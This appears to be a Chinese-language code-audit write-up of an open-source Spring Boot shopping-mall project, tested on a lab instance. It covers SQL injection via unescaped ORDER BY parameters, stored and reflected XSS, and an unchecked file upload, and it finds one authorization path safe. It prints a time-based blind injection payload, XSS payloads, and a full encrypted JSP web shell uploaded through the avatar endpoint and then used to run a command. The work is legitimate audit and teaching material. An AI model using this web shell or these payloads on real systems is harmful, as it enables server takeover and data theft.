介绍
迷你天猫商城是一个基于Spring Boot的综合性B2C电商平台,需求设计主要参考天猫商城的购物流程:用户从注册开始,到完成登录,浏览商品,加入购物车,进行下单,确认收货,评价等一系列操作。 作为迷你天猫商城的核心组成部分之一,天猫数据管理后台包含商品管理,订单管理,类别管理,用户管理和交易额统计等模块,实现了对整个商城的一站式管理和维护。
项目依赖审计
此maven项目的pom文件没有找到披露的漏洞,经过验证,工具所扫描出来的结果也是误报。
单点漏洞审计
SQL
该项目所用的数据库交互以来为Mybatis,所以全局搜索$。

可见在mapper文件中存在多个疑似注入点,逐个审计。
src/main/resources/mybatis/mapper/UserMapper.xml(成功)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| <select id="select" resultMap="userMap">
SELECT user_id,user_name,user_nickname,user_password,user_realname,user_gender,user_birthday,user_profile_picture_src,user_address,user_homeplace FROM user
<if test="user != null">
<where>
<if test="user.user_name != null">
(user_name LIKE concat('%',#{user.user_name},'%') or user_nickname LIKE concat('%',#{user.user_name},'%'))
</if>
<if test="user.user_gender != null">
and user_gender = #{user.user_gender}
</if>
</where>
</if>
<if test="orderUtil != null">
ORDER BY ${orderUtil.orderBy}<if test="orderUtil.isDesc">desc </if>
</if>
<if test="pageUtil != null">
LIMIT #{pageUtil.pageStart},#{pageUtil.count}
</if>
</select>
|
注入参数为orderUtil下的orderBy参数,向上追溯。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
| //按条件查询用户-ajax
@ResponseBody
@RequestMapping(value = "admin/user/{index}/{count}", method = RequestMethod.GET, produces = "application/json;charset=UTF-8")
public String getUserBySearch(@RequestParam(required = false) String user_name/* 用户名称 */,
@RequestParam(required = false) Byte[] user_gender_array/* 用户性别数组 */,
@RequestParam(required = false) String orderBy/* 排序字段 */,
@RequestParam(required = false,defaultValue = "true") Boolean isDesc/* 是否倒序 */,
@PathVariable Integer index/* 页数 */,
@PathVariable Integer count/* 行数 */) throws UnsupportedEncodingException {
//移除不必要条件
Byte gender = null;
if (user_gender_array != null && user_gender_array.length == 1) {
gender = user_gender_array[0];
}
if (user_name != null) {
//如果为非空字符串则解决中文乱码:URLDecoder.decode(String,"UTF-8");
user_name = "".equals(user_name) ? null : URLDecoder.decode(user_name, "UTF-8");
}
if (orderBy != null && "".equals(orderBy)) {
orderBy = null;
}
//封装查询条件
User user = new User()
.setUser_name(user_name)
.setUser_gender(gender);
OrderUtil orderUtil = null;
if (orderBy != null) {
logger.info("根据{}排序,是否倒序:{}",orderBy,isDesc);
orderUtil = new OrderUtil(orderBy, isDesc);
}
JSONObject object = new JSONObject();
logger.info("按条件获取第{}页的{}条用户", index + 1, count);
PageUtil pageUtil = new PageUtil(index, count);
List<User> userList = userService.getList(user, orderUtil, pageUtil);
object.put("userList", JSONArray.parseArray(JSON.toJSONString(userList)));
logger.info("按条件获取用户总数量");
Integer userCount = userService.getTotal(user);
object.put("userCount", userCount);
logger.info("获取分页信息");
pageUtil.setTotal(userCount);
object.put("totalPage", pageUtil.getTotalPage());
object.put("pageUtil", pageUtil);
return object.toJSONString();
}
|
追溯到该控制器,使用了order功能,可见这里是没有过滤的,我们定位到前端的用户管理模块

抓包。
1
2
3
4
5
6
7
8
9
| GET /tmall/admin/user/0/10?user_name=123&user_gender_array=0&user_gender_array=1&orderBy=1&isDesc=true HTTP/1.1
Host: 172.21.53.85:8080
X-Requested-With: XMLHttpRequest
Referer: http://172.21.53.85:8080/tmall/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=3B16C09E8A179A970E83C60845A3ED95; username=1209577113; admin-token=1#2F31733671566670654C7A6C432B6766575978556E4E58456F4554656B56596479727567522B483048444B544C5A4F5332736C4673556352716E516573486D535366716C76524751733336462F746D77657036476C516F4C493741783532773834364D74783071516B5079657A6856355766355970547677473254736F2F5165454A656B366857734474653154734B672F494A4A33773D3D
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0
Accept: */*
|
其中的注入点为orderBy参数,尝试注入。输入单引号后报错,尝试闭合,构造payload。
1
| if(ascii(substr((select%20database()),1,1))=1,sleep(0.1),1)
|

导出数据后处理,得到库名:

src/main/resources/mybatis/mapper/RewardMapper.xml(成功)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| <select id="select" resultMap="rewardMap">
SELECT
reward_id,
reward_name,
reward_content,
reward_createDate,
reward_user_id,
reward_state,
reward_amount
FROM reward
<where>
<if test="reward != null">
<if test="reward.reward_name != null">reward_name LIKE concat('%',#{reward.reward_name},'%')</if>
<if test="reward.reward_lowest_amount != null">and reward_amount >= #{reward.reward_lowest_amount}</if>
<if test="reward.reward_amount != null">and reward_amount <= #{reward.reward_amount}</if>
</if>
<if test="reward_isEnabled_array != null">
and reward_state IN
<foreach collection="reward_isEnabled_array" index="index" item="item" open="(" separator=","
close=")">
#{item}
</foreach>
</if>
</where>
<if test="orderUtil != null">
ORDER BY ${orderUtil.orderBy}
<if test="orderUtil.isDesc">desc</if>
</if>
<if test="pageUtil != null">
LIMIT #{pageUtil.pageStart},#{pageUtil.count}
</if>
</select>
|
可见这里也是一样的注入点,向上追溯。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
| @ResponseBody
@RequestMapping(value = "admin/reward/{index}/{count}", method = RequestMethod.GET, produces = "application/json;charset=utf-8")
public String getRewardBySearch(@RequestParam(required = false) String reward_name/* 打赏人名称 */,
@RequestParam(required = false) Double reward_lowest_amount/* 打赏最低金额 */,
@RequestParam(required = false) Double reward_highest_amount/* 打赏最高金额 */,
@RequestParam(required = false) Byte[] reward_isEnabled_array/* 打赏状态数组 */,
@RequestParam(required = false) String orderBy/* 排序字段 */,
@RequestParam(required = false,defaultValue = "true") Boolean isDesc/* 是否倒序 */,
@PathVariable Integer index/* 页数 */,
@PathVariable Integer count/* 行数 */) throws UnsupportedEncodingException {
//移除不必要条件
if (reward_isEnabled_array != null && (reward_isEnabled_array.length <= 0 || reward_isEnabled_array.length >=3)) {
reward_isEnabled_array = null;
}
if (reward_name != null) {
//如果为非空字符串则解决中文乱码:URLDecoder.decode(String,"UTF-8");
reward_name = "".equals(reward_name) ? null : URLDecoder.decode(reward_name, "UTF-8");
}
if (orderBy != null && "".equals(orderBy)) {
orderBy = null;
}
//封装查询条件
Reward reward = new Reward()
.setReward_name(reward_name)
.setReward_lowest_amount(reward_lowest_amount)
.setReward_amount(reward_highest_amount);
OrderUtil orderUtil = null;
if (orderBy != null) {
logger.info("根据{}排序,是否倒序:{}",orderBy,isDesc);
orderUtil = new OrderUtil(orderBy, isDesc);
}
JSONObject object = new JSONObject();
logger.info("按条件获取第{}页的{}条打赏", index + 1, count);
PageUtil pageUtil = new PageUtil(index, count);
List<Reward> rewardList = rewardService.getList(reward, reward_isEnabled_array, orderUtil, pageUtil);
object.put("rewardList", JSONArray.parseArray(JSON.toJSONString(rewardList)));
logger.info("按条件获取打赏总条数");
Integer rewardCount = rewardService.getTotal(reward, reward_isEnabled_array);
object.put("rewardCount", rewardCount);
logger.info("获取分页信息");
pageUtil.setTotal(rewardCount);
object.put("totalPage", pageUtil.getTotalPage());
object.put("pageUtil", pageUtil);
return object.toJSONString();
}
|
可见,代码逻辑也是相同的,所以这里直接构造payload:
1
| if(ascii(substr((select%20database()),1,1))=1,sleep(0.1),1)
|
爆破得出数据。

导出数据后处理得到库名

剩余的xml文件也是相同的漏洞,这里仅贴出,不做证明:
src/main/resources/mybatis/mapper/ProductMapper.xml
src/main/resources/mybatis/mapper/ProductOrderMapper.xml
任意文件操控
src/main/java/com/xq/tmall/controller/fore/ForeUserController.java(成功)
通过upload寻找文件上传的控制器,这里共有四个控制器实现了文件上传的功能,这里选择一个难度更低的方式,实际上四个文件上传的控制都存在相同的漏洞。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| @ResponseBody
@RequestMapping(value = "user/uploadUserHeadImage", method = RequestMethod.POST, produces = "application/json;charset=utf-8")
public String uploadUserHeadImage(@RequestParam MultipartFile file, HttpSession session
){
String originalFileName = file.getOriginalFilename();
logger.info("获取图片原始文件名:{}", originalFileName);
String extension = originalFileName.substring(originalFileName.lastIndexOf('.'));
String fileName = UUID.randomUUID() + extension;
String filePath = session.getServletContext().getRealPath("/") + "res/images/item/userProfilePicture/" + fileName;
logger.info("文件上传路径:{}", filePath);
JSONObject jsonObject = new JSONObject();
try {
logger.info("文件上传中...");
file.transferTo(new File(filePath));
logger.info("文件上传成功!");
jsonObject.put("success", true);
jsonObject.put("fileName", fileName);
} catch (IOException e) {
logger.warn("文件上传失败!");
e.printStackTrace();
jsonObject.put("success", false);
}
return jsonObject.toJSONString();
}
|
这是一个用户头像的文件上传实现,这里审计代码我们可以发现,它将传入的文件名进行了修改,也就是说这里无法进行目录穿透,但是这里并没有对后缀的校验。所以这里是存在一个任意文件上传的,而且该项目也解析jsp,所以也可以传shell。我们定位到前端的头像更换功能点,随便传一个图片后,构造数据包。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
| POST /tmall/user/uploadUserHeadImage HTTP/1.1
Host: 172.21.53.85:8080
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://172.21.53.85:8080/tmall/userDetails
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTAJAUStFnEcoK7fY
Origin: http://172.21.53.85:8080
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=3B16C09E8A179A970E83C60845A3ED95; username=1209577113; admin-token=1#2F31733671566670654C7A6C432B6766575978556E4E58456F4554656B56596479727567522B483048444B544C5A4F5332736C4673556352716E516573486D535366716C76524751733336462F746D77657036476C516F4C493741783532773834364D74783071516B5079657A6856355766355970547677473254736F2F5165454A656B366857734474653154734B672F494A4A33773D3D
Content-Length: 2276
------WebKitFormBoundaryTAJAUStFnEcoK7fY
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: image/jpeg
<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
private byte[] Decrypt(byte[] data) throws Exception
{
String k="e45e329feb5d925b";
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));
byte[] decodebs;
Class baseCls ;
try{
baseCls=Class.forName("java.util.Base64");
Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
}
catch (Throwable e)
{
baseCls = Class.forName("sun.misc.BASE64Decoder");
Object Decoder=baseCls.newInstance();
decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});
}
return c.doFinal(decodebs);
}
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length=request.getInputStream().read(buf);
while (length>0)
{
byte[] data= Arrays.copyOfRange(buf,0,length);
bos.write(data);
length=request.getInputStream().read(buf);
}
/* 取消如下代码的注释,可避免response.getOutputstream报错信息,增加某些深度定制的Java web系统的兼容性
out.clear();
out=pageContext.pushBody();
*/
out.clear();
out=pageContext.pushBody();
new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}
%>
------WebKitFormBoundaryTAJAUStFnEcoK7fY--
|
发包后,得到图片的URL,访问这个jsp文件。

访问172.21.53.85:8080/tmall/res/images/item/userProfilePicture/248f1f1d-aad8-43f6-8147-e9fd780f7ed4.jsp,发现没有出现图片解析错误,或者将文件直接下载下来,也就是解析了jsp,使用冰蝎连接后,连接成功,执行calc命令,成功弹出计算机。

XSS
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
| @RequestMapping(value = "product", method = RequestMethod.GET)
public String goToPage(HttpSession session, Map<String, Object> map,
@RequestParam(value = "category_id", required = false) Integer category_id/* 分类ID */,
@RequestParam(value = "product_name", required = false) String product_name/* 产品名称 */) {
logger.info("检查用户是否登录");
Object userId = checkUser(session);
if (userId != null) {
logger.info("获取用户信息");
User user = userService.get(Integer.parseInt(userId.toString()));
map.put("user", user);
}
if (category_id == null && product_name == null) {
return "redirect:/";
}
if (product_name != null && "".equals(product_name.trim())) {
return "redirect:/";
}
logger.info("整合搜索信息");
Product product = new Product();
String searchValue = null;
Integer searchType = null;
if (category_id != null) {
product.setProduct_category(new Category().setCategory_id(category_id));
searchType = category_id;
}
//关键词数组
String[] product_name_split = null;
//产品列表
List<Product> productList;
//产品总数量
Integer productCount;
//分页工具
PageUtil pageUtil = new PageUtil(0, 20);
if (product_name != null) {
product_name_split = product_name.split(" ");
logger.info("提取的关键词有{}", Arrays.toString(product_name_split));
product.setProduct_name(product_name);
searchValue = product_name;
}
if (product_name_split != null && product_name_split.length > 1) {
logger.info("获取组合商品列表");
productList = productService.getMoreList(product, new Byte[]{0, 2}, null, pageUtil, product_name_split);
logger.info("按组合条件获取产品总数量");
productCount = productService.getMoreListTotal(product, new Byte[]{0, 2}, product_name_split);
} else {
logger.info("获取商品列表");
productList = productService.getList(product, new Byte[]{0, 2}, null, pageUtil);
logger.info("按条件获取产品总数量");
productCount = productService.getTotal(product, new Byte[]{0, 2});
}
logger.info("获取商品列表的对应信息");
for (Product p : productList) {
p.setSingleProductImageList(productImageService.getList(p.getProduct_id(), (byte) 0, null));
p.setProduct_category(categoryService.get(p.getProduct_category().getCategory_id()));
}
logger.info("获取分类列表");
List<Category> categoryList = categoryService.getList(null, new PageUtil(0, 5));
logger.info("获取分页信息");
pageUtil.setTotal(productCount);
map.put("categoryList", categoryList);
map.put("totalPage", pageUtil.getTotalPage());
map.put("pageUtil", pageUtil);
map.put("productList", productList);
map.put("searchValue", searchValue);
map.put("searchType", searchType);
logger.info("转到前台天猫-产品搜索列表页");
return "fore/productListPage";
}
|
该代码所实现功能为,前台的产品搜索功能,这里传入的搜索参数为product_name,审计我们可知,这里并未对product_name进行额外处理,也就是没有防御XSS。我们定位到前端,构造payload:
1
| "><img src=x onerror=alert(1)>
|
输入搜索框后搜索。

成功触发反射型XSS。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
| @ResponseBody
@RequestMapping(value = "admin/product/{index}/{count}", method = RequestMethod.GET, produces = "application/json;charset=utf-8")
public String getProductBySearch(@RequestParam(required = false) String product_name/* 产品名称 */,
@RequestParam(required = false) Integer category_id/* 产品类型ID */,
@RequestParam(required = false) Double product_sale_price/* 产品促销价 */,
@RequestParam(required = false) Double product_price/* 产品原价 */,
@RequestParam(required = false) Byte[] product_isEnabled_array/* 产品状态数组 */,
@RequestParam(required = false) String orderBy/* 排序字段 */,
@RequestParam(required = false,defaultValue = "true") Boolean isDesc/* 是否倒序 */,
@PathVariable Integer index/* 页数 */,
@PathVariable Integer count/* 行数 */) throws UnsupportedEncodingException {
//移除不必要条件
if (product_isEnabled_array != null && (product_isEnabled_array.length <= 0 || product_isEnabled_array.length >=3)) {
product_isEnabled_array = null;
}
if (category_id != null && category_id == 0) {
category_id = null;
}
if (product_name != null) {
//如果为非空字符串则解决中文乱码:URLDecoder.decode(String,"UTF-8");
product_name = "".equals(product_name) ? null : URLDecoder.decode(product_name, "UTF-8");
}
if (orderBy != null && "".equals(orderBy)) {
orderBy = null;
}
//封装查询条件
Product product = new Product()
.setProduct_name(product_name)
.setProduct_category(new Category().setCategory_id(category_id))
.setProduct_price(product_price)
.setProduct_sale_price(product_sale_price);
OrderUtil orderUtil = null;
if (orderBy != null) {
logger.info("根据{}排序,是否倒序:{}",orderBy,isDesc);
orderUtil = new OrderUtil(orderBy, isDesc);
}
JSONObject object = new JSONObject();
logger.info("按条件获取第{}页的{}条产品", index + 1, count);
PageUtil pageUtil = new PageUtil(index, count);
List<Product> productList = productService.getList(product, product_isEnabled_array, orderUtil, pageUtil);
object.put("productList", JSONArray.parseArray(JSON.toJSONString(productList)));
logger.info("按条件获取产品总数量");
Integer productCount = productService.getTotal(product, product_isEnabled_array);
object.put("productCount", productCount);
logger.info("获取分页信息");
pageUtil.setTotal(productCount);
object.put("totalPage", pageUtil.getTotalPage());
object.put("pageUtil", pageUtil);
return object.toJSONString();
}
|
这是产品管理模块的代码实现,审计代码我们可知,他并没有对查询出的结果进行额外处理,也就是没有针对XSS进行防御,所以这里是存在一个存储型XSS的,前往前端访问后抓包,构造数据包,进行XSS攻击
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| POST /tmall/admin/product HTTP/1.1
Host: 172.24.107.171:8080
Accept: */*
Referer: http://172.24.107.171:8080/tmall/admin
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.24.107.171:8080
Cookie: JSESSIONID=39C90DCB9085FB0A37D3D24E3ECB7390; username=1209577113
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Length: 859
product_category_id=1&product_isEnabled=0&product_name=%3Cimg+src%3Dx+onerror%3Dalert(1)%3E&product_title=%3Cimg+src%3Dx+onerror%3Dalert(1)%3E&product_price=1&product_sale_price=2&propertyJson=%7B%221%22%3A%22%3Cimg+src%3Dx+onerror%3Dalert(1)%3E%22%2C%222%22%3A%22%3Cimg+src%3Dx+onerror%3Dalert(1)%3E%22%2C%223%22%3A%22%3Cimg+src%3Dx+onerror%3Dalert(1)%3E%22%2C%224%22%3A%22%3Cimg+src%3Dx+onerror%3Dalert(1)%3E%22%2C%225%22%3A%22%3Cimg+src%3Dx+onerror%3Dalert(1)%3E%22%2C%226%22%3A%22%3Cimg+src%3Dx+onerror%3Dalert(1)%3E%22%2C%227%22%3A%22%3Cimg+src%3Dx+onerror%3Dalert(1)%3E%22%2C%228%22%3A%22%3Cimg+src%3Dx+onerror%3Dalert(1)%3E%22%2C%229%22%3A%22%3Cimg+src%3Dx+onerror%3Dalert(1)%3E%22%2C%2210%22%3A%22%3Cimg+src%3Dx+onerror%3Dalert(1)%3E%22%2C%2211%22%3A%22%3Cimg+src%3Dx+onerror%3Dalert(1)%3E%22%2C%2212%22%3A%22%3Cimg+src%3Dx+onerror%3Dalert(1)%3E%22%7D
|
发送数据包后访问。

成功触发XSS攻击。在其余的功能,也是存在存储型XSS,这里不做赘述。
越权
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
| @ResponseBody
@RequestMapping(value = "orderItem/{orderItem_id}", method = RequestMethod.DELETE, produces = "application/json;charset=utf-8")
public String deleteOrderItem(@PathVariable("orderItem_id") Integer orderItem_id,
HttpSession session,
HttpServletRequest request) {
JSONObject object = new JSONObject();
logger.info("检查用户是否登录");
Object userId = checkUser(session);
if (userId == null) {
object.put("url", "/login");
object.put("success", false);
return object.toJSONString();
}
logger.info("检查用户的购物车项");
List<ProductOrderItem> orderItemList = productOrderItemService.getListByUserId(Integer.valueOf(userId.toString()), null);
boolean isMine = false;
for (ProductOrderItem orderItem : orderItemList) {
logger.info("找到匹配的购物车项");
if (orderItem.getProductOrderItem_id().equals(orderItem_id)) {
isMine = true;
break;
}
}
if (isMine) {
logger.info("删除订单项信息");
boolean yn = productOrderItemService.deleteList(new Integer[]{orderItem_id});
if (yn) {
object.put("success", true);
} else {
object.put("success", false);
}
} else {
object.put("success", false);
}
return object.toJSONString();
}
|
该项目的订单处理方法逻辑大体相同,这里仅拿出其中一个,审计项目我们可知,该项目的整体逻辑为通过cookie检查用户是否登录,再检查用户购物车是否有该项进行鉴权,如有则删除,如无则返回失败,所以这里是不存在越权漏洞的。
至此,该项目审计完毕。